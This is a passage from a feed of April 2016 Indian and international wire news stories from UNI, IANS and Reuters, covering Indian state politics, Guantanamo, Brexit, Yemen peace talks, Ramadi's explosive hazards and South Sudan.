: Trinamool Congress, Kerala-unit will field five candidates in this district for assembly elections slated for May 16 in the State. Talking to news persons here today, Kerala Pradesh Trinamool Congress Committee (KPTCC) president Manoj Sankaranellur said the party has already named the 124 candidates out of 140 constituencies in the State. The KPTCC has decided to field five candidates P V Anil (Thaliparamba), Abhilash P V (Koothuparamba),Raveendran A V (Irikkur), Praseeth Thomas Baby (Thalassery) and Usman P (Peravoor) out of 11 constituencies strict, they are. The party has also decided to extend its support to the rebel Congress candidate, P K Raghesh. Incidentally, Mr Raghesh is also contesting from Kannur constituency . Mr Manoj said at present KPTCC has a strength of 1,85,000 members in the State and possessed units in all 124 constituencies. He said, Trinamool Congress chief and the West Bengal Chief Minister Mamatha Banarjee would visit Thiruvanthapuram, Ernakulam and Kozhikode on the second week of May to campaign and canvass for the s to KPTCC candidates and to highlight the unholy nexus and marriage of convenience between the Congress and Left Parties in West Bengal before the Kerala people. It may be noted that in West Bengal the Congress has forged an alliance with the CPI(M)-led Left Front to oust the ruling Trinamool Congress, whereas in Kerala, both the parties are opposed to each other vehemently. He also said Mamatha Banarjee would hold talks with the rebel Congress leaders and explain them about the exigency of the situation and the need to oppose the party's deadly-foe CPI(M) at any cost in the ensuing assembly poll.UNI AK KVV AK 1930 -- (UNI) -- C-1-1-DL0324-696154.Xml
In a gruesome incident, three school students met watery grave while taking bath in River Coleroon at Koogur village near Lalgudi, here this evening. Preliminary reports quoting police said the deceased Karthikeyan, Barani and Senthilnathan went to the Coleroon river to take bath. They were caught in the whirl of water and subsequently drowned. Personnel of Tamil Nadu Fire and Rescue Services department rushed to the site to retrieve the bodies. UNI GSM KVV AK1950 -- (UNI) -- C-1-1-DL0414-696584.Xml
It was so far celebrated only in Delhi.

Prime Minister Narendra Modi will address the Panchayati Raj Sammelan on the occasion of National Panchayati Raj Day (NPRD) on April 24 in Jamshedpur.

A new mandate of the ministry of Panchayati Raj will be released along with the Devolution Index Report by the prime minister on the occasion.

"So far, NPRD was celebrated in Delhi, but this year, as part of the Gramoday se Bharat Uday Abhiyan, the National Panchayati Raj Day is being celebrated in all gram panchayats in the country (except in poll bound States), as gram sabhas are being held between 21-24 April 2016 nationwide," read the statement.

Around 3,000 panchayat representatives from all states of the country will participate in the programme.

The central government, in collaboration with state governments and panchayats, launched the Gramoday se Bharat Uday Abhiyan, which started on B.R. Ambedkars 125th birth anniversary on April 14.

--IANS sid/sd/vm

( 207 Words)

2016-04-22-20:50:08 (IANS)
Sharply reacting to the attempts by BJP president Amit Shah to alleged involvement of Congress president Sonia Gandhi and party vice president Rahul Gandhi in the filing of affidavits in the Ishrat Jahan case, senior party leader and former Rajasthan Chief Minister Ashok Gehlot today said that Congress would not be cowed down by such efforts.In a series of tweets, Mr Gehlot said, ''it can be seen in the history that BJP leadership always tried to tarnish the image of Congress high command in false cases.''BJP has a misunderstanding that Congress would be weakened by such efforts...,'' he added.Recently, Union Minister of Commerce and Industries Nirmala Sitharaman and BJP Spokesperson Sambit Patra levelled serious allegations against Ms Gandhi over the Ishrat Jahan shootout case, asserting that Congress had connived to get a political rival eliminated in Gujarat."Here is a political rival, the then chief minister of Gujarat, whom the Congress could not face politically. So, they quietly allowed a terror plot bloom. By politicising the Ishrat Jahan encounter case, Congress has undermined the national security. They have weakened the entire security network," Ms Sitharaman said on Monday.Congress has said that the allegations against Mr Rahul and Ms Gandhi were nothing, but an attempt to shut down the ongoing trial in the case.Talking to reporters earlier this week, AICC Media In-charge Randeep Surjewala said, ''Unlike the RSS, Ms Sonia Gandhi or Mr Rahul Gandhi never intervened or gave any suggestion to the then Home Minister P Chidambaram or any other person or authority in Government on any administrative matter, including the 'Ishrat Jahan case'.''Terming the allegations as an attempt by Prime Minister Narendra Modi and BJP president Amit Shah of shutting down the ongoing trial in the Ishrat Jahan fake encounter case, Mr Surjewala said, ''By such mischievous attempts to hoodwink and divert the attention of people of the country, Mr Narendra Modi and Mr Amit Shah cannot put a lid on the truth. ''The PM and the BJP President owe an explanation to 125 crore Indians to tell the 'real motive' behind desperation to shut down the ongoing trial in 'Ishrat Jahan case'. Let truth and justice be not a casualty in this web of deceit being woven by BJP Minister, Ms Nirmala Sitharaman and BJP Spokespersons.''Mr Modi and Mr Shah need to answer as to why are they trying to bypass the judicial findings of Metropolitan Court, Ahmedabad and the Division Bench of Gujarat High Court. Why are the Governments of India and Gujarat not giving sanction for prosecution of officers found responsible for the fake encounter of Israt Jahan and accomplices? Why are the PM and thye BJP President trying to block an ongoing trial and blatantly interfere with the judicial process? What is it that they seek to hide or are scared of?,'' Mr Surjewala asked.UNI AR RJ 2140 -- (UNI) -- C-1-1-DL0092-696697.Xml
The Bombay high court today asked the Municipal Corporation of Greater Mumbai (MCGM) to file its reply stating that whether it has a policy to offer jobs to the family members of firemen who die in harness and to the kin of victims who perish in fire mishaps. If such a policy does not exist, then the civic body has to ensure that it frames one on these lines, a division bench headed by Justice Abhay Oka said while hearing a petition seeking fire safety audits in city buildings. The bench asked the MCGM to file a reply to its query on this policy and deferred the matter for hearing beyond summer vacations in June. The petition, filed by activist Sharmila Ghuge, alleged that the civic body has failed to comply with the norms of Maharashtra Fire Prevention and Life Safety Measures Act. It also pointed out increase in fire incidents in the city and cited the death of fire-fighting officers during a major fire which broke out in Kalbadevi area of South Mumbai last year.UNI AAA SS SHS RJ NS2040 -- (UNI) -- C-1-DL0171-696581.Xml
A doctor attached with the Arthur Road Jail here was transferred on allegation that he had manipulated papers to help the jailed former Maharashtra Deputy Chief Minister Chhagan Bhujbal to St George's Hospital. This was revealed during a probe conducted by the Prison Department. Bhujbal, lodged in judicial custody in an alleged money laundering case, was admitted to ICU of the multi-speciality hospital in South Mumbai on April 18 after he complained of severe chest pain and high blood pressure. Bipin Kumar Singh, inspector general (Prisons), said doctor Rahul Ghule has been shifted out of the Arthur Road Jail and sent back to the Health Department. Also, "strict action" has been recommended against the doctor, he said. "Bhujbal was supposed to go to St George's Hospital for a dental treatment but Ghule changed his medical papers without the knowledge of chief medical officer (CMO) of Arthur Road Jail and recommended that he be admitted there for some other reason," Mr Singh told mediapersons here. "If a prisoner has a medical ailment, he has the right to get medical treatment. But, never is a prisoner has taken anywhere except J J Hospital. Ghule has been fired as he was found guilty and we have recommended strict action against him," he said. Mr Singh also said the motive behind Ghule's conduct and whether he received favours for it will be ascertained after the Health Department completes its probe into the matter. The former PWD Minister has been lodged in Arthur Road Jail for a month after Enforcement Directorate arrested him.UNI AAA SS SHS RJ NS2124 -- (UNI) -- C-1-DL0171-696681.Xml
Prime Minister Crop Insurance Scheme would be implemented in Odisha from the coming Kharif season, Registrar Cooperative Society Dhiren Patnaik said here today. Talking to newspersons after a meeting held under the Chairmanship of the state Chief Secretary here, Mr Patnaik said tender process for the implementation of the scheme has been completed. He said three companiesTATA AIG, Future General India and SBI GIC Ltd have been shortlisted out of the 11 companies listed by the Union Agriculture Ministry for the implementation of the scheme. He said the entire state was divided into six clusters and five districts were kept under each cluster for the purpose. Crops like paddy, groundnut, cotton, Turmeric and ginger. would be covered under the insurance scheme. Mr Patnaik said per hectare insurance amount has been fixed as per the agriculture weather report. The farmers will have to pay 2 per cent of the insurance amount as the premium. The rest of money would be paid equally both by the state and the Central government. The farmers who have availed crop loan and who have not taken any loan could take the benefit of the insurance scheme.The insurance will cover crop loss due to natural calamities like flood, cyclone, drought, hailstorm, earth quake, fire due to lightening and crop loss due to pest attack. He said the farmers would also get insurance money even if the crop was damaged by unseasonal rain or cyclone within 14 days of the crop cutting. Chief Secretary A P Padhi directed the Agricultural department to launch a massive awareness campaign at the village and gram Panchayat level to educate the farmers about the scheme. He also directed the officials to include the representatives of farmers association, media, Krishi Vigyan Kendra, Panchayat representatives in the campaign.UNI BD DP BM GC2325 -- (UNI) -- C-1-DL0214-696744.Xml
Another shower of hailstorm hit the Mon district today and following the heavy rain for the past two weeks, accompanied by hailstorm since yesterday, multiple landslide and mud sinking has occurred at various places in the district. Official sources said so far, only about 10 villages have reported of the damages caused to the properties at their respective villages to the district administration. In Mon Town Techhan ward has been sinking and multiple landslide has also occurred compelling many families to vacate their houses. Four houses were completely damaged by the landslide, while about 80 per cent of the houses of the colony were badly affected by the land sinking. If heavy rain continued in the next coupleof days it may lead to unwanted situation in this ward. Meanwhile, part of Mon town and four Assembly Constituencies of Aboi, Chen, Mopung and Tobu is completely cut off with the rest of the district, as one of the culvert, near Wangkhao college junction was washed away. Another culvert connecting to Don Bosco School and two villages was damages, affecting nearby residences compelled to evacuate their houses. In order to take stock of the situation, the Deputy Commissioner of Mon W. Honje Konyak along with ADC and EAC Mon inspected various affected parts within Mon town and interacted with the ward leaders and affected families. All the administrative officers have been detailed to verify and access the damage caused. The district administration also gave immediate relief to the victims injured by the hail storm yesterday and were admitted to District Hospital Mon. It was apprehensive that there might be shortage of supply of essential commodities due to the weather condition and the flood at Sonari in Assam. W Honje Konyak has directed all the shopkeepers not to issue more than a bag of rice to an individual and has appealed everyone to cooperate with the administration. UNI AS SHS RJ NS2216 -- (UNI) -- C-1-DL0214-696755.Xml
The priority tasks are in line with a new national security strategy approved by Putin last December which mainly aims at strengthening Russia's defence and protecting sovereignty, independence and territorial integrity.

The strategy also aims to ensure Russia's status as "one of the leading world powers, which seeks to maintain strategic stability and mutually beneficial partnerships in a polycentric world."

In laying out the tasks, Putin said Russian troops should develop operation skills and strategy in training, snap inspections and combat missions, according to a Kremlin statement.

The president promised the most modernized armament would be supplied to strengthen the Russian armed forces.

Putin also urged all law enforcement agencies to increase their efficiency in investigating and preventing crimes, and to speed up the fight against corruption, particularly in the defence fields.

He also urged Russia's border guards to monitor and "put an insurmountable barrier" to smuggling, illegal migration and transnational crimes.

"Reliable security of the country directly depends on the competent work of the Foreign Intelligence Service," Putin said.

The Federal Security Service should work consistently and competently in order to put an end to activities of foreign intelligence agents inside Russia, according to the statement.

The newly created National Guard, which has the task of fighting against arms trafficking, terrorism and organised crime, could work together with other state departments, he said.

--IANS ahm/

( 256 Words)

2016-04-22-03:56:05 (IANS)
The UN sponsored peace talks between Yemen's rival forces began in Kuwait on Thursday night, according to Kuwait's state radio broadcasted live. The talks came after a three-day delay as warring parties traded accusations over truce breaches and differences of the talks agenda between Saudi-backed internationally recognized Sunni government of President Abd-Rabbu Mansour Hadi and the Shiite Houthi militia as well as its ally, the forces loyal to ex-President Ali Abdullah Saleh. The rival parties sit around a table at the opening session of Yemen peace talks, as broadcasted by the radio. The UN envoy to Yemen, Ismail Ould Cheikh Ahmed co-hosted the session and delivered a speech. "I call upon you to begin in good faith to seek an end to the current crisis.. and I assure you that failure is out of equation, " he said. "Differences do exist, but it can be reconciled and our plan will form a solid framework to pave the way for a new political process," he said. "The talks will go ahead based on the agreed five points in line with the Security Council resolution 2216, and the Gulf Cooperation Council initiative, " he said. "The solution requires concessions with good faith from all parties, and the Southern Cause will be the center of our works to find a comprehensive solution for its future, " he said. "Let's begin today from Kuwait the process of ending violence in Yemen and the work for peace path," he added. Meanwhile, the Saudi-led coalition said they are coordinating with cease-fire monitoring teams in Yemen to report any violations to the truce. The on-going Kuwait talks are the third round of negotiations under the auspices of the United Nations, after two previous ones in June and December of 2015 failed to yield any progress. It is hoped that the latest talks would end more than a year of Yemen's civil war and the Saudi-led military intervention, which have claimed more than 6,400 lives, over half being civilians, and displaced millions, according to UN statistics. The latest cease-fire kicked off on April 10 and was supposed to pave the way the talks, but both warring sides have complained of violations by the other side, including continued heavy shelling and air strikes. The crisis in Yemen started in 2011, when Saleh was forced to step down from his 33-year rule and handed power to his then deputy Hadi, as part of a wave of protests and political turmoil that swept the whole Arab world. --IANS ahm/ ( 425 Words) 2016-04-22-04:04:06 (IANS)
O bserved from behind a one-way mirror and heavy chain-link fence, a handful of bearded detainees in baggy t-shirts mill around inside a communal cellblock at the Guantanamo Bay military prison, vastly outnumbered by US troops guarding them.This is the shrinking world of America's notorious offshore prison, a scene that underscores how US President Barack Obama is running out of time - and options - to meet his pledge to close the compound before he leaves office in January.Obama has whittled down the number of prisoners to 80, the lowest since shortly after his predecessor George W. Bush opened the facility to hold terrorism suspects rounded up overseas following the Sept. 11, 2001, attacks.But the president faces political and legal obstacles that may prove insurmountable in his final push to empty the detention center at the US naval station in Cuba, according to some US officials in Washington.Still, there were growing signs during a carefully scripted media tour this week that operations are beginning to wind down at the prison, where many cells now stand empty.As inmate numbers dwindle - the latest departures being nine Yemenis sent to Saudi Arabia last weekend - participation also has ebbed in what was once a widespread hunger strike.Fewer than five inmates are being force-fed, the chief medical officer told reporters as he displayed a "restraint chair" of the type where prisoners are strapped down and nasal tubes inserted twice daily.But the 1,100-strong force of military personnel assigned to secure Guantanamo's far-flung lockups, ranging from communal compounds for well-behaved prisoners to solitary confinement for those considered most dangerous, has remained largely unchanged. That works out to about 14 guards for each current inmate.Work inside the razor wire is labor-intensive. Squads of guards in protective visors swarmed through an eerily darkened corridor one lunch time, preparing to deliver meals in Camp Six, home to the most cooperative prisoners.Unaware of being watched and recorded through the sound-proof glass, detainees went about their routines. One waved over a guard and complained about not having enough pens for his artwork, while another sat at a steel table doing paperwork.In Washington, Republican lawmakers are readying for a legal battle if Obama tries to move prisoners to US soil.Obama's plan to close Guantanamo, announced two months ago, hinges on bringing possibly dozens of remaining prisoners deemed too dangerous to release to maximum-security prisons in the United States. But that would defy a congressional ban on such transfers.FEWER DETAINEE DISCIPLINE PROBLEMSAdministration officials have not ruled out that Obama might seek to bypass Congress and resort to executive action to close the prison but say privately he probably won't make a decision until after the November presidential election. Republican frontrunner Donald Trump and his party rivals vow to keep the jail open if they win the White House.At its peak, Guantanamo housed nearly 800 prisoners, becoming a symbol of the excesses of the "war on terror" and synonymous with accusations of torture. Obama, whose promise to shutter the prison dates back to the 2008 campaign, has called it a recruitment tool for terrorists.Nowadays, camp officials credit improved "compliance" by prisoners to a sense that release is getting closer. Most have been held for more than a decade without charge or trial.Only two detainees are listed for misconduct, which can entail anything from physically assaulting guards to "splashing them with bodily fluids," said Army Colonel David Heath, commander of the Guantanamo guard force.Hunger strikers, who numbered more than a hundred at the peak of their protest in 2013, are now just a handful and there is no longer any need for extraction teams to pull them from their cells for "enteral feeding" sessions, according to Navy Captain Rich Quattrone, head of the camp's medical facilities.He insisted the process is "safe and humane."But Omar Farah, attorney for Tariq Ba Odah, a Yemeni hunger striker who lost half his body weight and was among the group sent to Saudi Arabia, said force-feeding was "utterly humiliating".Guantanamo officials remain mindful of other potential sources of trouble, especially given Islamic religious sensitivities.For instance, when a reporter entered a model cell meant to display living conditions and began inspecting a bookshelf, camp officials rushed over and told her not to touch a copy of the Koran. Her cameraman was ordered to delete the scene.At the detainee library, where Harry Potter books are the most popular items, officials screen out anything deemed to promote jihadist themes or containing graphic violence or nudity.Inmates sometimes go a step further. A woman's photo on the cover of an Arabic-language National Geographic was scribbled over by a detainee apparently offended by her uncovered face.REUTERS JW0410 -- (Reuters) -- C-1-1-DL0364-695244.Xml
US President Barack Obama arrived in London with a mission - to persuade British voters not to ditch membership of the European Union in a referendum that Washington fears could weaken the West.His visit is a welcome one for Prime Minister David Cameron, leading the "In" campaign, but has drawn scorn from those arguing that Britain should leave the EU.Obama is likely to suggest Britons should vote to stay in the bloc to preserve Britain's wealth, its "special relationship" with the United States and the cohesion of the West."As the president has said yesterday, we support a strong United Kingdom in the European Union," Ben Rhodes, Obama's deputy national security adviser, told reporters in Washington before the trip.After a visit to Saudi Arabia, including talks with King Salman, Obama arrived in London yesterday.The US government - and many US banks and companies - fear a Brexit would unleash market turmoil, diminish British clout, undermine London's status as a global financial capital, cripple the EU and undermine Western security.Opinion polls indicated that British voters are leaning towards the "In" camp in the June 23 referendum, but many remain undecided.Asked about Obama's views, Cameron told the parliament:"Personally I believe we should listen to advice from friends and other countries and I struggle to find the leader of any friendly country who thinks we should leave."Cameron has said that in the face of what he terms Russian President Vladimir Putin's aggression, this is no time to drop out of the club Britain joined in 1973."BUTT OUT"For Britain's closest ally, EU membership amplifies British influence, facilitates trade for US companies and strengthens the 28-member bloc which Washington views as a pillar of stability in the post-World War Two era.Opponents of the EU - many of whom laud the US alliance - say that membership has shackled Britain to the corpse of a failed German-dominated experiment in European integration and that Britain, if freed, could prosper as a sole trader.New York-born Boris Johnson, the London mayor who heads the "Out" campaign, said he did not want to be lectured by Americans about EU membership."President Obama should butt out," Nigel Farage, another prominent opponent of EU membership, told Reuters."This is an unwelcome interference from the most anti-British American president there has ever been. Mercifully, he won't be in office for much longer.""Out" campaigners have said the United States would never agree to dilute its own national sovereignty in the way the EU requires of its member states.Ahead of a 2014 Scottish vote on independence, Obama said he hoped Britain "remains strong, robust and united", a comment that was welcomed by unionist politicians in London.Obama's term in office ends next January 20. On Friday he will have lunch at Windsor Castle with Queen Elizabeth, who celebrated her 90th birthday yesterday, and her husband Prince Philip.After lunch, Obama will hold talks with Cameron.REUTERS JW PM0541 -- (Reuters) -- C-1-1-DL0364-695246.Xml
Pakistan Prime Minister Nawaz Sharif has no assets abroad, but continues to receive colossal amounts from his son, Hussain Nawaz, who is settled in the UK, reveal the statements of assets of the Members of National Assembly(MNAs) released by the Election Commission of Pakistan (ECP). The statements of assets for 2015, released amidst the ongoing controversy around the Panama Papers leak, which linked politicians with offshore companies, the value of the assets owned by the Mr Sharif and his spouse comes to around Rs 2 billion an increase of over a billion in just four years, Dawn reported today. The value of his assets in 2011 was Rs 166 million, which swelled to Rs261.6 million in 2012 and then to Rs1.82 billion in 2013, making him a declared billionaire. Then, in 2014, the declared value of his assets rose to around Rs2 billion. Mr Sharif received over Rs215 million from his son Hussain Nawaz in 2015. He had previously received remittances from his son, worth Rs 239 million and Rs 197. 5 million in 2014 and 2013, respectively. The Pak PM is among the few billionaires in the National Assembly, the others being Petroleum Minister Shahid Khaqan Abbasi and Khyber Pakhtunkhwa MNAs Khayal Zaman and Sajid Hussain Toori. Mr Sharif owns a Toyota Land Cruiser, gifted to him by an unspecified individual, as well as two Mercedes vehicles. The house he lives in is owned by his mother. He also has multiple foreign and local currency accounts, huge swathes of agricultural land and investments in industrial units such as sugar, textile and paper mills. Mr Sharif has also declared, for the first time, ownership of birds and animals worth Rs 2 million. Mr Sharif's wife, Kulsoom Nawaz, has land and a house in Changa Gali, Abbottabad, that is worth Rs 80 million, a bungalow on The Mall in Murree, worth Rs100 million, as well as shares in the family business. Their son-in-law, retired Capt Mohammad Safdar, has only listed one property and 550 grams of jewellery in the name of his wife, the PM's daughter, Maryam Safdar. Property owned by Maryam Safdar, according to the ECP statement, is a 2006 BMW 4800CC car, which was gifted to her by someone in the United Arab Emirates, while her jewellery is worth Rs 1 million. According to the statement filed by Mr Safdar, there is no mention of his wife owning any property, investments or bank accounts in or outside the country. The net worth of the prime minister's son-in-law is only Rs 5 million, aside from some 20 acres of land in Mansehra district and around 215 acres of barren land in Rajanpur, Punjab. Another wealthy MNA from the Sharif family is Hamza Shahbaz Sharif, the prime minister's nephew and son of Punjab Chief Minister Shahbaz Sharif. His net worth is Rs 342.6 million, which includes 10 non-agricultural properties and he has significant investments in the Sharif Feed Mills, Ramzan Sugar Mills and Crystal Plastics. He has not declared any investments or property outside the country and his bank balance is around Rs 10.8 million.UNI XC ADG SS -- (UNI) -- C-1-1-DL0404-695519.Xml
The United States will propose that President Barack Obama visits Hiroshima, Japan's Nikkei newspaper said today, in what would be the first visit by an incumbent US president to the city devastated by a US nuclear attack 71 years ago.Citing an unidentified senior US government official, the business daily said Washington planned to propose to Tokyo a visit by the president on May 27, at the end of a Group of Seven (G7) summit hosted by Japanese Prime Minister Shinzo Abe.Japanese Chief Cabinet Secretary Yoshihide Suga denied the visit was being arranged and declined further comment. Diplomatic protocol means any announcement should come from the US side."It is not true that a visit to Hiroshima by President Obama is being arranged between the United States and Japan," Suga told a regular news conference."The schedule of the US president is a matter for the United States to decide. The (Japanese) government will refrain from comment."A US warplane dropped the atomic bomb on Hiroshima on August 6, 1945, killing thousands of people instantly and about 140,000 by the end of that year. Nagasaki was bombed on August 9, 1945, and Japan surrendered six days later.A presidential visit would be controversial in the United States if it were seen as an apology.A majority of Americans view the bombing of Hiroshima and Nagasaki as justified to end the war and save US lives. The vast majority of Japanese think the bombings were unjustified.US Secretary of State John Kerry said during a visit to the city this month that Obama wanted to travel there, though he did not know if the president's schedule when he visited Japan for the May 26-27 summit would allow him to.Hiroshima bombing survivors, and other residents, have said they hope for progress in ridding the world of nuclear weapons, rather than an apology, if Obama makes the historic visit.Hopes for Obama's visit to Hiroshima were raised after a speech in April 2009 in Prague when he called for a world without nuclear weapons. He later said he would be honoured to visit the two cities that suffered nuclear attack.Kerry, who toured the Hiroshima Peace Memorial and Museum, called its haunting displays "gut-wrenching" and said everyone should visit.The displays include photographs of badly burned victims, the tattered and stained clothes they wore and statues depicting them with flesh melting from their limbs. REUTERS DS BL1432 -- (Reuters) -- C-1-1-DL0177-695687.Xml
China's Defence Ministry today denied reports that Chinese troops were massing on the North Korean border, ahead of a possible fifth North Korean nuclear test, saying its deployments there were normal.The Hong Kong-based Information Centre for Human Rights and Democracy said earlier this week that China had sent 2,000 troops to the border, a story picked up by Russian and Iranian news outlets, among others.The decision was made ahead of the expected testing of North Korea's fifth nuclear device, the report said, in violation of UN sanctions."The relevant report does not accord with the facts," the Defence Ministry said in a short statement. "The Chinese military maintains normal combat readiness and training on the China-North Korea border."It did not elaborate.Reports periodically surface about unusual troops movements on the border, which are hard to verify independently and generally quickly denied by the Chinese government.North Korea has vowed to conduct further nuclear tests, despite stepped up international sanctions.Some experts expect North Korea to conduct a fifth nuclear test in the near future, possibly before a ruling party congress in early May, following an embarrassing failure of a test of an intermediate-range missile earlier this month.China is North Korea's most important economic and diplomatic backer, but has been infuriated by North Korea's nuclear and missile tests and has signed on for tough UN sanctions.North Korea and the rich, democratic South are still technically at war after the 1950-53 conflict ended in an armistice, not a treaty. China and North Korea fought side-by-side against a US-backed South Korea, which joined forces under the UN flag.The North routinely threatens to destroy South Korea and the United States.REUTERS DS BL1445 -- (Reuters) -- C-1-1-DL0177-695733.Xml
Russian forces in Syria have fired at least twice on Israeli military aircraft, prompting Prime Minister Benjamin Netanyahu to seek improved operational coordination with Moscow, Israel's top-selling newspaper said today.Asked about the alleged incidents, however, Kremlin spokesman Dmitry Peskov said: "In this case, Israeli press reports are far from reality."But Netanyahu, in remarks published by Israeli reporters whom he briefed by phone on his talks yesterday with Russian President Vladimir Putin, said "there have been problems" regarding Israeli military freedom of operation in Syria.He gave no details, but said: "If you don't deal with the friction, it could develop into something more serious."The unsourced report in Yedioth Ahronoth made no mention of dates or locations for the two reported incidents, nor did it give any indication of whether the Israeli planes were hit.Russia mounted its military intervention in Syria in September to shore Damascus up amid a now 5-year-old rebellion.Separately, Israel's Channel 10 TV said a Russian warplane approached an Israeli warplane off the Mediterranean coast of Syria last week but that there was no contact between them.An Israeli military spokesman declined comment. Netanyahu's office and the Russian embassy in Israel did not immediately respond.Israel, which says it has carried out dozens of bombings in Syria to foil suspected arms handovers to Lebanese Hezbollah guerrillas, was quick to set up an operational hotline with Moscow designed to avoid accidentally trading fire with Russian interventionary forces.In Moscow yesterday, Netanyahu told Putin in televised remarks: "I came here with one main goal - to strengthen the security coordination between us so as to avoid mishaps, misunderstandings and unnecessary confrontations."In an apparent allusion to Syria, Putin said: "I think there are understandable reasons for these intensive contacts (with Israel), given the complicated situation in the region."According to Yedioth, the reported Russian fire on Israeli planes was first raised with Putin by Israeli President Reuven Rivlin, who visited Moscow on March 15. At the time, Putin responded that he was unaware of the incidents, Yedioth said.REUTERS DS AS1628 -- (Reuters) -- C-1-1-DL0177-695951.Xml
Floundering and divided in the face of an asylum crisis and with record low voter support, Sweden's minority Social Democrat-Green government could disintegrate or be toppled well before its term runs out.While Sweden is the region's economic star - growth was 4.1 per cent last year - it needs urgent measures to solve a housing crisis, integrate refugees and boost its international competiveness to support its expensive welfare system.But coalition fault lines are growing wider and any further tightening of asylum laws could be the last straw for the Greens. With the centre-left and centre-right both short of majorities, Sweden would face more years of policy deadlock."The longer the government has continued the more we have realized that there is a big distance between the parties," said a senior Green Party source.The Social Democrats and Greens disagreed on issues like nuclear power, on how much to hike income taxes, while the rise of the anti-immigration Sweden Democrats has left parliament deadlocked.The coalition's first budget was voted down with the a new election only avoided after the main, centre-right opposition Alliance agreed not to block the government's finance bills.The immigration crisis pushed the coalition to breaking point to last year.When 10,000 asylum seekers arrived each week in November, Sweden could no longer cope. But the Greens, the junior party in the coalition, dragged their heals over a u-turn on decades of generous policies.New arrivals were being housed in tents and the Social Democrats gave the Greens an ultimatum - back tougher measures or leave the coalition, a government source said.Green MPs only backed the deal by one vote after an emergency meeting and Vice premier Asa Romson of the Greens was close to tears at the annoucement. Had the vote gone the other way, the Greens would have left the coalition, the source said.Co-party leader Gustav Fridolin told Swedish radio the policies were "shit."The government was dealt a further blow in April by the resignation of the Green Party housing minister over comments he had made comparing Israel's treatment of Palestinians to the plight of Jews in Nazi Germany.In an open letter, the Green Party's leaders admitted many supporters questioned what values the party stood for.Romson, however, dismissed talk the Greens could walk out of the coalition."That is not the discussion we have in the party," she said.The political strains come amid major challenges for Sweden.Extra costs for immigration - 50 billion crowns (6.17 billion dollars) over the next two years - will limit the government's plans to boost jobs and welfare.The country needs to build 500,000 new homes by 2020. Productivity growth is slowing, sick leave costs are growing and Sweden is sliding downwards in international education tables.This month the founders of music streaming service Spotify threatened to shift abroad citing the housing crisis, a shortage of programmers and a tax system that makes it hard to attract international talent.Scarcely a quarter of Swedes think the coalition is doing a good job and more back Moderate leader Anna Kinberg Batra, whose party has embraced a tough line on asylum. Nearly two thirds of voters want the Green Party out of government, polls show."We seem to have got ourselves in a situation in Swedish politics where it is almost suspect to want to take power," said Ebba Busch Thor, the leader of the Christian Democrats, the smallest and most right-leaning member of the four-party Alliance."But if we have the chance to do what we think is better for Sweden, of course we will take it."But short of its own majority in parliament, the Alliance would be reliant on support from the Sweden Democrats, with roots in the neo-Nazi movement.Such is the stigma attached to the party in a country described by former Moderate Party Prime Minister Fredrik Reinfeldt as a "humanitarian superpower", many in the Alliance are afraid of a voter backlash."We are ready to take over, but that doesn't mean we are ready to negotiate or cooperate with the Sweden Democrats," said Jessica Polfjard, leader of the Moderate's parliamentary group.Some kind of deal may yet come."The psychological and political difficulties of doing any sort of deal with the Sweden Democrats are still gigantic," said Nick Aylott, political science professor at Sodertorn University"I suspect it will happen, but I don't think it will happen soon." REUTERS DS AS1700 -- (Reuters) -- C-1-1-DL0177-696027.Xml
Explosives planted by Islamic State have killed dozens of Iraqi civilians who returned to Ramadi despite warnings that much of the western city remains unsafe nearly four months after its recapture from the militants.Tens of thousands of displaced residents have returned to the Anbar provincial capital in the past two months, mostly from camps east of the city where they took refuge prior to the army's advance late last year.A shortage of experts trained in dismantling the explosives has slowed efforts to restore security, but that has not stopped people from responding to calls from local religious and government leaders to go back home.The Anbar governor's office, which is overseeing much of the effort to restore Ramadi, declined requests for comment.But the United Nations said it had learned from the authorities that 49 people have been killed and 79 others wounded in Ramadi since the beginning of February. Those figures are "almost certainly an underestimation," it said."The UN is deeply worried about the safety of returning families and the widespread infestation of many neighbourhoods with unexploded devices and booby traps," Lise Grande, UN humanitarian coordinator in Iraq, told Reuters."The responsible thing is to clear these areas as quickly as possible using the most up-to-date, modern and professional methods. Anything else just risks too much."De-mining is seen as a critical first step in returning civilians to Ramadi, which a UN team said last month suffers from destruction worse than anywhere else in Iraq after months of fighting that saw Islamic State bomb attacks and devastating US-led coalition air strikes.A US de-mining company was contracted last month to remove explosives and train Iraqis to dismantle the devices planted by Islamic State in Ramadi, 100 km west of Baghdad.Sources in Ramadi said another Western company was expected to help with de-mining efforts and Iraqi companies are also now competing for potentially lucrative government contracts.Still there is just not enough expertise to keep pace with the return of civilians, said Mohamed Ali, a tribal fighter who helps dismantle explosives.In addition to littering Ramadi's streets with bombs, Islamic State has also planted them in residences, hiding them under rugs and other fixtures or connecting them to the power grid so they detonate when residents attempt to restore electricity."One house in al-Bakr neighbourhood exploded (on Monday), killing its owner," said Ali. "The man returned after explosives had been removed from his house and he started clearing the rubble. While he was moving the cooking gas canister, a bomb stashed under it exploded."A security officer stationed in northern Ramadi said he had forbidden civilians from walking around their neighbourhoods after several people were killed as they inspected nearby destruction.The influx of refugees is unlikely to slow, driven by the desperation of displaced people and political rivalries within the Sunni community.Two local government sources said political and religious figures had ignored warnings against rushing civilians' return, accusing them of seeking financial gain by launching reconstruction projects before others.More than 3.4 million Iraqis across the country have been displaced by violence according to UN. statistics, most of them from the minority Sunni Arab community. REUTERS DS CS1802 -- (Reuters) -- C-1-1-DL0177-696248.Xml
South Sudan's government has agreed on weapons it will let rebel leader Riek Machar bring on his return to the capital as part of a peace deal, resolving a last-minute row that led to a delay this week, the government and the mediator said today.The announcement follows repeated delays to Machar's return since a peace deal was signed in August and growing frustration in the international community with the warring sides after more than two years of conflict that has shattered the young nation.Machar, who will take up the position of First Vice President to President Salva Kiir in a transitional government, had been due to return earlier this week but wrangling over what troops and weapons he could bring with him led to a fresh delay.The Joint Monitoring and Evaluation Commission (JMEC), which includes Western powers, African representatives and others, proposed letting Machar bring 195 members of his forces, part of a quota agreed in a peace deal, and a limited amount of arms.The rebels accepted the deal proposed yesterday but the government balked at some listed weapons, including rocket propelled grenade launchers. It relented today.Government spokesman Michael Makuei said the government had accepted the terms "with immediate effect"."I welcome this concession by the government," JMEC Chairman Festus Mogae said in a statement, after threatening a day before that he would seek an "appropriate response" from the UN Security Council and African Union if a deal was not reached."No further delay is tolerable," said Mogae, a former president of Botswana, pushing for Machar's return on Saturday.Makuei said timing depended on verifying equipment and troop numbers, so Machar could return on Monday at the earliest.Sponsors of the peace process fear the already fragile deal could unravel if it is not implemented more swiftly and differences are not patched up between Machar and 